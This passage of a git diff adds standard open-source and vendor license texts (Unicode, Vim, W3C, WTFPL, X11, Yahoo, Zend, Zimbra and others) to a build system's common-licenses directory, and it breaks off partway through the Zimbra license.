+THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THE DATA FILES OR SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder shall not be used in advertising or otherwise to promote the sale, use or other dealings in these Data Files or Software without prior written authorization of the copyright holder.
diff --git a/meta/files/common-licenses/Unicode-TOU b/meta/files/common-licenses/Unicode-TOU
new file mode 100644
index 0000000000..49e3eee7eb
--- /dev/null
+++ b/meta/files/common-licenses/Unicode-TOU
@@ -0,0 +1,51 @@
+Unicode Terms of Use
+
+For the general privacy policy governing access to this site, see the Unicode Privacy Policy. For trademark usage, see the Unicode® Consortium Name and Trademark Usage Policy.
+
+A. Unicode Copyright.
+
+ 1. Copyright © 1991-2014 Unicode, Inc. All rights reserved.
+
+ 2. Certain documents and files on this website contain a legend indicating that "Modification is permitted." Any person is hereby authorized, without fee, to modify such documents and files to create derivative works conforming to the Unicode® Standard, subject to Terms and Conditions herein.
+
+ 3. Any person is hereby authorized, without fee, to view, use, reproduce, and distribute all documents and files solely for informational purposes in the creation of products supporting the Unicode Standard, subject to the Terms and Conditions herein.
+
+ 4. Further specifications of rights and restrictions pertaining to the use of the particular set of data files known as the "Unicode Character Database" can be found in Exhibit 1.
+
+ 5. Each version of the Unicode Standard has further specifications of rights and restrictions of use. For the book editions (Unicode 5.0 and earlier), these are found on the back of the title page. The online code charts carry specific restrictions. All other files, including online documentation of the core specification for Unicode 6.0 and later, are covered under these general Terms of Use.
+
+ 6. No license is granted to "mirror" the Unicode website where a fee is charged for access to the "mirror" site.
+
+ 7. Modification is not permitted with respect to this document. All copies of this document must be verbatim.
+
+B. Restricted Rights Legend. Any technical data or software which is licensed to the United States of America, its agencies and/or instrumentalities under this Agreement is commercial technical data or commercial computer software developed exclusively at private expense as defined in FAR 2.101, or DFARS 252.227-7014 (June 1995), as applicable. For technical data, use, duplication, or disclosure by the Government is subject to restrictions as set forth in DFARS 202.227-7015 Technical Data, Commercial and Items (Nov 1995) and this Agreement. For Software, in accordance with FAR 12-212 or DFARS 227-7202, as applicable, use, duplication or disclosure by the Government is subject to the restrictions set forth in this Agreement.
+
+C. Warranties and Disclaimers.
+
+ 1. This publication and/or website may include technical or typographical errors or other inaccuracies . Changes are periodically added to the information herein; these changes will be incorporated in new editions of the publication and/or website. Unicode may make improvements and/or changes in the product(s) and/or program(s) described in this publication and/or website at any time.
+
+ 2. If this file has been purchased on magnetic or optical media from Unicode, Inc. the sole and exclusive remedy for any claim will be exchange of the defective media within ninety (90) days of original purchase.
+
+ 3. EXCEPT AS PROVIDED IN SECTION C.2, THIS PUBLICATION AND/OR SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND EITHER EXPRESS, IMPLIED, OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT. UNICODE AND ITS LICENSORS ASSUME NO RESPONSIBILITY FOR ERRORS OR OMISSIONS IN THIS PUBLICATION AND/OR SOFTWARE OR OTHER DOCUMENTS WHICH ARE REFERENCED BY OR LINKED TO THIS PUBLICATION OR THE UNICODE WEBSITE.
+
+D. Waiver of Damages. In no event shall Unicode or its licensors be liable for any special, incidental, indirect or consequential damages of any kind, or any damages whatsoever, whether or not Unicode was advised of the possibility of the damage, including, without limitation, those resulting from the following: loss of use, data or profits, in connection with the use, modification or distribution of this information or its derivatives.
+
+E. Trademarks & Logos.
+
+ 1. The Unicode Word Mark and the Unicode Logo are trademarks of Unicode, Inc. “The Unicode Consortium” and “Unicode, Inc.” are trade names of Unicode, Inc. Use of the information and materials found on this website indicates your acknowledgement of Unicode, Inc.’s exclusive worldwide rights in the Unicode Word Mark, the Unicode Logo, and the Unicode trade names.
+
+ 2. The Unicode Consortium Name and Trademark Usage Policy (“Trademark Policy”) are incorporated herein by reference and you agree to abide by the provisions of the Trademark Policy, which may be changed from time to time in the sole discretion of Unicode, Inc.
+
+ 3. All third party trademarks referenced herein are the property of their respective owners.
+
+F. Miscellaneous.
+
+ 1. Jurisdiction and Venue. This server is operated from a location in the State of California, United States of America. Unicode makes no representation that the materials are appropriate for use in other locations. If you access this server from other locations, you are responsible for compliance with local laws. This Agreement, all use of this site and any claims and damages resulting from use of this site are governed solely by the laws of the State of California without regard to any principles which would apply the laws of a different jurisdiction. The user agrees that any disputes regarding this site shall be resolved solely in the courts located in Santa Clara County, California. The user agrees said courts have personal jurisdiction and agree to waive any right to transfer the dispute to any other forum.
+
+ 2. Modification by Unicode Unicode shall have the right to modify this Agreement at any time by posting it to this site. The user may not assign any part of this Agreement without Unicode’s prior written consent.
+
+ 3. Taxes. The user agrees to pay any taxes arising from access to this website or use of the information herein, except for those based on Unicode’s net income.
+
+ 4. Severability. If any provision of this Agreement is declared invalid or unenforceable, the remaining provisions of this Agreement shall remain in effect.
+
+ 5. Entire Agreement. This Agreement constitutes the entire agreement between the parties.
diff --git a/meta/files/common-licenses/VOSTROM b/meta/files/common-licenses/VOSTROM
new file mode 100644
index 0000000000..efd0a63137
--- /dev/null
+++ b/meta/files/common-licenses/VOSTROM
@@ -0,0 +1,27 @@
+VOSTROM Public License for Open Source
+
+Copyright (c) 2007 VOSTROM Holdings, Inc.
+
+This VOSTROM Holdings, Inc. (VOSTROM) Distribution (code and documentation) is made available to the open source community as a public service by VOSTROM. Contact VOSTROM at license@vostrom.com for information on other licensing arrangements (e.g. for use in proprietary applications).
+
+Under this license, this Distribution may be modified and the original version and modified versions may be copied, distributed, publicly displayed and performed provided that the following conditions are met:
+
+1. Modified versions are distributed with source code and documentation and with permission for others to use any code and documentation (whether in original or modified versions) as granted under this license;
+
+2. if modified, the source code, documentation, and user run-time elements should be clearly labeled by placing an identifier of origin (such as a name, initial, or other tag) after the version number;
+
+3. users, modifiers, distributors, and others coming into possession or using the Distribution in original or modified form accept the entire risk as to the possession, use, and performance of the Distribution;
+
+4. this copyright management information (software identifier and version number, copyright notice and license) shall be retained in all versions of the Distribution;
+
+5. VOSTROM may make modifications to the Distribution that are substantially similar to modified versions of the Distribution, and may make, use, sell, copy, distribute, publicly display, and perform such modifications, including making such modifications available under this or other licenses, without obligation or restriction;
+
+6. modifications incorporating code, libraries, and/or documentation subject to any other open source license may be made, and the resulting work may be distributed under the terms of such open source license if required by that open source license, but doing so will not affect this Distribution, other modifications made under this license or modifications made under other VOSTROM licensing arrangements;
+
+7. no permission is granted to distribute, publicly display, or publicly perform modifications to the Distribution made using proprietary materials that cannot be released in source format under conditions of this license;
+
+8. the name of VOSTROM may not be used in advertising or publicity pertaining to Distribution of the software without specific, prior written permission.
+
+This software is made available "as is", and
+
+VOSTROM DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL VOSTROM BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/Vim b/meta/files/common-licenses/Vim
new file mode 100644
index 0000000000..84aaf416b6
--- /dev/null
+++ b/meta/files/common-licenses/Vim
@@ -0,0 +1,30 @@
+VIM LICENSE
+
+I) There are no restrictions on distributing unmodified copies of Vim except that they must include this license text. You can also distribute unmodified parts of Vim, likewise unrestricted except that they must include this license text. You are also allowed to include executables that you made from the unmodified Vim sources, plus your own usage examples and Vim scripts.
+
+II) It is allowed to distribute a modified (or extended) version of Vim, including executables and/or source code, when the following four conditions are met:
+
+ 1) This license text must be included unmodified.
+
+ 2) The modified Vim must be distributed in one of the following five ways:
+
+ a) If you make changes to Vim yourself, you must clearly describe in the distribution how to contact you. When the maintainer asks you (in any way) for a copy of the modified Vim you distributed, you must make your changes, including source code, available to the maintainer without fee. The maintainer reserves the right to include your changes in the official version of Vim. What the maintainer will do with your changes and under what license they will be distributed is negotiable. If there has been no negotiation then this license, or a later version, also applies to your changes. The current maintainer is Bram Moolenaar <Bram@vim.org>. If this changes it will be announced in appropriate places (most likely vim.sf.net, www.vim.org and/or comp.editors). When it is completely impossible to contact the maintainer, the obligation to send him your changes ceases. Once the maintainer has confirmed that he has received your changes they will not have to be sent again.
+
+ b) If you have received a modified Vim that was distributed as mentioned under a) you are allowed to further distribute it unmodified, as mentioned at I). If you make additional changes the text under a) applies to those changes.
+
+ c) Provide all the changes, including source code, with every copy of the modified Vim you distribute. This may be done in the form of a context diff. You can choose what license to use for new code you add. The changes and their license must not restrict others from making their own changes to the official version of Vim.
+
+ d) When you have a modified Vim which includes changes as mentioned under c), you can distribute it without the source code for the changes if the following three conditions are met:
+ - The license that applies to the changes permits you to distribute the changes to the Vim maintainer without fee or restriction, and permits the Vim maintainer to include the changes in the official version of Vim without fee or restriction.
+ - You keep the changes for at least three years after last distributing the corresponding modified Vim. When the maintainer or someone who you distributed the modified Vim to asks you (in any way) for the changes within this period, you must make them available to him.
+ - You clearly describe in the distribution how to contact you. This contact information must remain valid for at least three years after last distributing the corresponding modified Vim, or as long as possible.
+
+ e) When the GNU General Public License (GPL) applies to the changes, you can distribute the modified Vim under the GNU GPL version 2 or any later version.
+
+ 3) A message must be added, at least in the output of the ":version" command and in the intro screen, such that the user of the modified Vim is able to see that it was modified. When distributing as mentioned under 2)e) adding the message is only required for as far as this does not conflict with the license used for the changes.
+
+ 4) The contact information as required under 2)a) and 2)d) must not be removed or changed, except that the person himself can make corrections.
+
+III) If you distribute a modified version of Vim, you are encouraged to use the Vim license for your changes and make them available to the maintainer, including the source code. The preferred way to do this is by e-mail or by uploading the files to a server and e-mailing the URL. If the number of changes is small (e.g., a modified Makefile) e-mailing a context diff will do. The e-mail address to be used is <maintainer@vim.org>
+
+IV) It is not allowed to remove this license from the distribution of the Vim sources, parts of it or from a modified version. You may use this license for previous Vim releases instead of the license that they came with, at your option.
diff --git a/meta/files/common-licenses/W3C-19980720 b/meta/files/common-licenses/W3C-19980720
new file mode 100644
index 0000000000..a8554039ef
--- /dev/null
+++ b/meta/files/common-licenses/W3C-19980720
@@ -0,0 +1,23 @@
+W3C® SOFTWARE NOTICE AND LICENSE
+
+Copyright (c) 1994-2002 World Wide Web Consortium, (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. http://www.w3.org/Consortium/Legal/
+
+This W3C work (including software, documents, or other related items) is being provided by the copyright holders under the following license. By obtaining, using and/or copying this work, you (the licensee) agree that you have read, understood, and will comply with the following terms and conditions:
+
+Permission to use, copy, modify, and distribute this software and its documentation, with or without modification,  for any purpose and without fee or royalty is hereby granted, provided that you include the following on ALL copies of the software and documentation or portions thereof, including modifications, that you make:
+
+ 1. The full text of this NOTICE in a location viewable to users of the redistributed or derivative work.
+
+ 2. Any pre-existing intellectual property disclaimers, notices, or terms and conditions. If none exist, a short notice of the following form (hypertext is preferred, text is permitted) should be used within the body of any redistributed or derivative code: "Copyright © [$date-of-software] World Wide Web Consortium, (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. http://www.w3.org/Consortium/Legal/"
+
+ 3. Notice of any changes or modifications to the W3C files, including the date changes were made. (We recommend you provide URIs to the location from which the code is derived.)
+
+THIS SOFTWARE AND DOCUMENTATION IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE OR DOCUMENTATION WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS.
+
+COPYRIGHT HOLDERS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENTATION.
+
+The name and trademarks of copyright holders may NOT be used in advertising or publicity pertaining to the software without specific, written prior permission. Title to copyright in this software and any associated documentation will at all times remain with copyright holders.
+
+____________________________________
+
+This formulation of W3C's notice and license became active on August 14 1998 so as to improve compatibility with GPL. This version ensures that W3C software licensing terms are no more restrictive than GPL and consequently W3C software may be distributed in GPL packages. See the older formulation for the policy prior to this date. Please see our Copyright FAQ for common questions about using materials from our site, including specific terms and conditions for packages like libwww, Amaya, and Jigsaw. Other questions about this notice can be directed to site-policy@w3.org.
diff --git a/meta/files/common-licenses/W3C-20150513 b/meta/files/common-licenses/W3C-20150513
new file mode 100644
index 0000000000..abe1af9ae3
--- /dev/null
+++ b/meta/files/common-licenses/W3C-20150513
@@ -0,0 +1,17 @@
+This work is being provided by the copyright holders under the following license.
+
+License
+By obtaining and/or copying this work, you (the licensee) agree that you have read, understood, and will comply with the following terms and conditions.
+
+Permission to copy, modify, and distribute this work, with or without modification, for any purpose and without fee or royalty is hereby granted, provided that you include the following on ALL copies of the work or portions thereof, including modifications:
+
+ • The full text of this NOTICE in a location viewable to users of the redistributed or derivative work.
+ • Any pre-existing intellectual property disclaimers, notices, or terms and conditions. If none exist, the W3C Software and Document Short Notice should be included.
+ • Notice of any changes or modifications, through a copyright statement on the new code or document such as "This software or document includes material copied from or derived from [title and URI of the W3C document]. Copyright (c) [YEAR] W3C® (MIT, ERCIM, Keio, Beihang)."
+
+Disclaimers
+THIS WORK IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE OR DOCUMENT WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS.
+
+COPYRIGHT HOLDERS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENT.
+
+The name and trademarks of copyright holders may NOT be used in advertising or publicity pertaining to the work without specific, written prior permission. Title to copyright in this work will at all times remain with copyright holders.
diff --git a/meta/files/common-licenses/WTFPL b/meta/files/common-licenses/WTFPL
new file mode 100644
index 0000000000..7a3094a826
--- /dev/null
+++ b/meta/files/common-licenses/WTFPL
@@ -0,0 +1,11 @@
+DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+Version 2, December 2004
+
+Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
+
+Everyone is permitted to copy and distribute verbatim or modified copies of this license document, and changing it is allowed as long as the name is changed.
+
+DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+ 0. You just DO WHAT THE FUCK YOU WANT TO.
diff --git a/meta/files/common-licenses/Wsuipa b/meta/files/common-licenses/Wsuipa
new file mode 100644
index 0000000000..8a37a28d61
--- /dev/null
+++ b/meta/files/common-licenses/Wsuipa
@@ -0,0 +1,5 @@
+This file was added by Clea F. Rees on 2008/11/30 with the permission of Dean Guenther and pointers to this file were added to all source files.
+
+Unlimited copying and redistribution of each of the files is permitted as long as the file is not modified. Modifications, and redistribution of modified versions, are also permitted, but only if the resulting file is renamed.
+
+The copyright holder is Washington State University. The original author of the fonts is Janene Winter. The primary contact (as of 2008) is Dean Guenther.
diff --git a/meta/files/common-licenses/X11 b/meta/files/common-licenses/X11
new file mode 100644
index 0000000000..6b41092f29
--- /dev/null
+++ b/meta/files/common-licenses/X11
@@ -0,0 +1,13 @@
+X11 License
+
+Copyright (C) 1996 X Consortium
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Except as contained in this notice, the name of the X Consortium shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from the X Consortium.
+
+X Window System is a trademark of X Consortium, Inc.
diff --git a/meta/files/common-licenses/XSkat b/meta/files/common-licenses/XSkat
new file mode 100644
index 0000000000..0b77a07877
--- /dev/null
+++ b/meta/files/common-licenses/XSkat
@@ -0,0 +1,10 @@
+This program is free software; you can redistribute it freely.
+Use it at your own risk; there is NO WARRANTY.
+
+Redistribution of modified versions is permitted provided that the following conditions are met:
+
+1. All copyright & permission notices are preserved.
+
+2.a) Only changes required for packaging or porting are made.
+ or
+2.b) It is clearly stated who last changed the program. The program is renamed or the version number is of the form x.y.z, where x.y is the version of the original program and z is an arbitrary suffix.
diff --git a/meta/files/common-licenses/Xerox b/meta/files/common-licenses/Xerox
new file mode 100644
index 0000000000..0667d0d211
--- /dev/null
+++ b/meta/files/common-licenses/Xerox
@@ -0,0 +1,5 @@
+Copyright (c) 1995, 1996 Xerox Corporation. All Rights Reserved.
+
+Use and copying of this software and preparation of derivative works based upon this software are permitted. Any copy of this software or of any derivative work must include the above copyright notice of Xerox Corporation, this paragraph and the one after it. Any distribution of this software or derivative works must comply with all applicable United States export control laws.
+
+This software is made available AS IS, and XEROX CORPORATION DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND NOTWITHSTANDING ANY OTHER PROVISION CONTAINED HEREIN, ANY LIABILITY FOR DAMAGES RESULTING FROM THE SOFTWARE OR ITS USE IS EXPRESSLY DISCLAIMED, WHETHER ARISING IN CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, EVEN IF XEROX CORPORATION IS ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/YPL-1.0 b/meta/files/common-licenses/YPL-1.0
new file mode 100644
index 0000000000..cfbec9e2f3
--- /dev/null
+++ b/meta/files/common-licenses/YPL-1.0
@@ -0,0 +1,47 @@
+Yahoo! Public License, Version 1.0 (YPL)
+
+This Yahoo! Public License (this "Agreement") is a legal agreement that describes the terms under which Yahoo! Inc., a Delaware corporation having its principal place of business at 701 First Avenue, Sunnyvale, California 94089 ("Yahoo!") will provide software to you via download or otherwise ("Software"). By using the Software, you, an individual or an entity ("You") agree to the terms of this Agreement.
+
+In consideration of the mutual promises and upon the terms and conditions set forth below, the parties agree as follows:
+
+1. Grant of Copyright License
+
+ 1.1 - Subject to the terms and conditions of this Agreement, Yahoo! hereby grants to You, under any and all of its copyright interest in and to the Software, a royalty-free, non-exclusive, non-transferable license to copy, modify, compile, execute, and distribute the Software and Modifications. For the purposes of this Agreement, any change to, addition to, or abridgement of the Software made by You is a "Modification;" however, any file You add to the Software that does not contain any part of the Software is not a "Modification."
+
+ 1.2 - If You are an individual acting on behalf of a corporation or other entity, Your use of the Software or any Modification is subject to Your having the authority to bind such corporation or entity to this Agreement. Providing copies to persons within such corporation or entity is not considered distribution for purposes of this Agreement.
+
+ 1.3 - For the Software or any Modification You distribute in source code format, You must do so only under the terms of this Agreement, and You must include a complete copy of this Agreement with Your distribution. With respect to any Modification You distribute in source code format, the terms of this Agreement will apply to You in the same way those terms apply to Yahoo! with respect to the Software. In other words, when You are distributing Modifications under this Agreement, You "stand in the shoes" of Yahoo! in terms of the rights You grant and how the terms and conditions apply to You and the licensees of Your Modifications. Notwithstanding the foregoing, when You "stand in the shoes" of Yahoo!, You are not subject to the jurisdiction provision under Section 7, which requires all disputes under this Agreement to be subject to the jurisdiction of federal or state courts of northern California.
+
+ 1.4 - For the Software or any Modification You distribute in compiled or object code format, You must also provide recipients with access to the Software or Modification in source code format along with a complete copy of this Agreement. The distribution of the Software or Modifications in compiled or object code format may be under a license of Your choice, provided that You are in compliance with the terms of this Agreement. In addition, You must make absolutely clear that any license terms applying to such Software or Modification that differ from this Agreement are offered by You alone and not by Yahoo!, and that such license does not restrict recipients from exercising rights in the source code to the Software granted by Yahoo! under this Agreement or rights in the source code to any Modification granted by You as described in Section 1.3.
+
+ 1.5 - This Agreement does not limit Your right to distribute files that are entirely Your own work (i.e., which do not incorporate any portion of the Software and are not Modifications) under any terms You choose.
+
+2. Support
+Yahoo! has no obligation to provide technical support or updates to You. Nothing in this Agreement requires Yahoo! to enter into any license with You for any other edition of the Software.
+
+3. Intellectual Property Rights
+
+ 3.1 - Except for the license expressly granted under copyright in Section 1.1, no rights, licenses or forbearances are granted or may arise in relation to this Agreement whether expressly, by implication, exhaustion, estoppel or otherwise. All rights, including all intellectual property rights, that are not expressly granted under this Agreement are hereby reserved.
+
+ 3.2 - In any copy of the Software or in any Modification you create, You must retain and reproduce, any and all copyright, patent, trademark, and attribution notices that are included in the Software in the same form as they appear in the Software. This includes the preservation of attribution notices in the form of trademarks or logos that exist within a user interface of the Software.
+
+ 3.3 - This license does not grant You rights to use any party's name, logo, or trademarks, except solely as necessary to comply with Section 3.2.
+
+4. Disclaimer of Warranties
+THE SOFTWARE IS PROVIDED "AS IS" AND WITHOUT WARRANTY OF ANY KIND. YAHOO! MAKES NO WARRANTIES, WHETHER EXPRESS, IMPLIED, OR STATUTORY REGARDING OR RELATING TO THE SOFTWARE. SPECIFICALLY, YAHOO! DOES NOT WARRANT THAT THE SOFTWARE WILL BE ERROR FREE OR WILL PERFORM IN AN UNINTERRUPTED MANNER. TO THE GREATEST EXTENT ALLOWED BY LAW, YAHOO! SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE (EVEN IF YAHOO! HAD BEEN INFORMED OF SUCH PURPOSE), AND NONINFRINGEMENT WITH RESPECT TO THE SOFTWARE, ANY MODIFICATIONS THERETO AND WITH RESPECT TO THE USE OF THE FOREGOING.
+
+5. Limitation of Liability
+IN NO EVENT WILL YAHOO! BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES OF ANY KIND (INCLUDING WITHOUT LIMITATION LOSS OF PROFITS, LOSS OF USE, BUSINESS INTERRUPTION, LOSS OF DATA, COST OF COVER) IN CONNECTION WITH OR ARISING OUT OF OR RELATING TO THE FURNISHING, PERFORMANCE OR USE OF THE SOFTWARE OR ANY OTHER RIGHTS GRANTED HEREUNDER, WHETHER ALLEGED AS A BREACH OF CONTRACT OR TORTIOUS CONDUCT, INCLUDING NEGLIGENCE, AND EVEN IF YAHOO! HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+6. Term and Termination
+
+ 6.1 - This Agreement will continue in effect unless and until terminated earlier pursuant to this Section 6.
+
+ 6.2 - In the event Yahoo! determines that You have breached this Agreement, Yahoo! may terminate this Agreement.
+
+ 6.3 - All licenses granted hereunder shall terminate upon the termination of this Agreement. Termination will be in addition to any rights and remedies available to Yahoo! at law or equity or under this Agreement.
+
+ 6.4 - Termination of this Agreement will not affect the provisions regarding reservation of rights (Section 3.1), provisions disclaiming or limiting Yahoo!'s liability (Sections 4 and 5), Termination (Section 6) or Miscellaneous (Section 7), which provisions will survive termination of this Agreement.
+
+7. Miscellaneous
+This Agreement contains the entire agreement of the parties with respect to the subject matter of this Agreement and supersedes all previous communications, representations, understandings and agreements, either oral or written, between the parties with respect to said subject matter. The relationship of the parties hereunder is that of independent contractors, and this Agreement will not be construed as creating an agency, partnership, joint venture or any other form of legal association between the parties. If any term, condition, or provision in this Agreement is found to be invalid, unlawful or unenforceable to any extent, this Agreement will be construed in a manner that most closely effectuates the intent of this Agreement. Such invalid term, condition or provision will be severed from the remaining terms, conditions and provisions, which will continue to be valid and enforceable to the fullest extent permitted by law. This Agreement will be interpreted and construed in accordance with the laws of the State of California and the United States of America, without regard to conflict of law principles. The U.N. Convention on Contracts for the International Sale of Goods shall not apply to this Agreement. All disputes arising out of this Agreement involving Yahoo! or any of its subsidiaries shall be subject to the jurisdiction of the federal or state courts of northern California, with venue lying in Santa Clara County, California. No rights may be assigned, no obligations may be delegated, and this Agreement may not be transferred by You, in whole or in part, whether voluntary or by operation of law, including by way of sale of assets, merger or consolidation, without the prior written consent of Yahoo!, and any purported assignment, delegation or transfer without such consent shall be void ab initio. Any waiver of the provisions of this Agreement or of a party's rights or remedies under this Agreement must be in writing to be effective. Failure, neglect or delay by a party to enforce the provisions of this Agreement or its rights or remedies at any time, will not be construed or be deemed to be a waiver of such party's rights under this Agreement and will not in any way affect the validity of the whole or any part of this Agreement or prejudice such party's right to take subsequent action.
diff --git a/meta/files/common-licenses/Zed b/meta/files/common-licenses/Zed
new file mode 100644
index 0000000000..5f7cd2cc05
--- /dev/null
+++ b/meta/files/common-licenses/Zed
@@ -0,0 +1,3 @@
+(c) Jim Davies, January 1995
+You may copy and distribute this file freely. Any queries and complaints should be forwarded to Jim.Davies@comlab.ox.ac.uk.
+If you make any changes to this file, please do not distribute the results under the name `zed-csp.sty'.
diff --git a/meta/files/common-licenses/Zend-2.0 b/meta/files/common-licenses/Zend-2.0
new file mode 100644
index 0000000000..c9b5144e1e
--- /dev/null
+++ b/meta/files/common-licenses/Zend-2.0
@@ -0,0 +1,18 @@
+The Zend Engine License, version 2.00
+Copyright (c) 1999-2002 Zend Technologies Ltd. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, is permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ 3. The names "Zend" and "Zend Engine" must not be used to endorse or promote products derived from this software without prior permission from Zend Technologies Ltd. For written permission, please contact license@zend.com.
+
+ 4. Zend Technologies Ltd. may publish revised and/or new versions of the license from time to time. Each version will be given a distinguishing version number. Once covered code has been published under a particular version of the license, you may always continue to use it under the terms of that version. You may also choose to use such covered code under the terms of any subsequent version of the license published by Zend Technologies Ltd. No one other than Zend Technologies Ltd. has the right to modify the terms applicable to covered code created under this License.
+
+ 5. Redistributions of any form whatsoever must retain the following acknowledgment: "This product includes the Zend Engine, freely available at http://www.zend.com"
+
+ 6. All advertising materials mentioning features or use of this software must display the following acknowledgment: "The Zend Engine is freely available at http://www.zend.com"
+
+THIS SOFTWARE IS PROVIDED BY ZEND TECHNOLOGIES LTD. ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL ZEND TECHNOLOGIES LTD. BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/Zimbra-1.4 b/meta/files/common-licenses/Zimbra-1.4
new file mode 100644
index 0000000000..868e4d878b
--- /dev/null
+++ b/meta/files/common-licenses/Zimbra-1.4
@@ -0,0 +1,47 @@
+Zimbra Public License, Version 1.4 (ZPL)
+
+This Zimbra Public License (this “Agreement”) is a legal agreement that describes the terms under which Zimbra, Inc., a Texas corporation (“Zimbra”) will provide software to you via download or otherwise (“Software”). By using the Software, you, an individual or an entity (“You”) agree to the terms of this Agreement.
+
+In consideration of the mutual promises and upon the terms and conditions set forth below, the parties agree as follows:
+
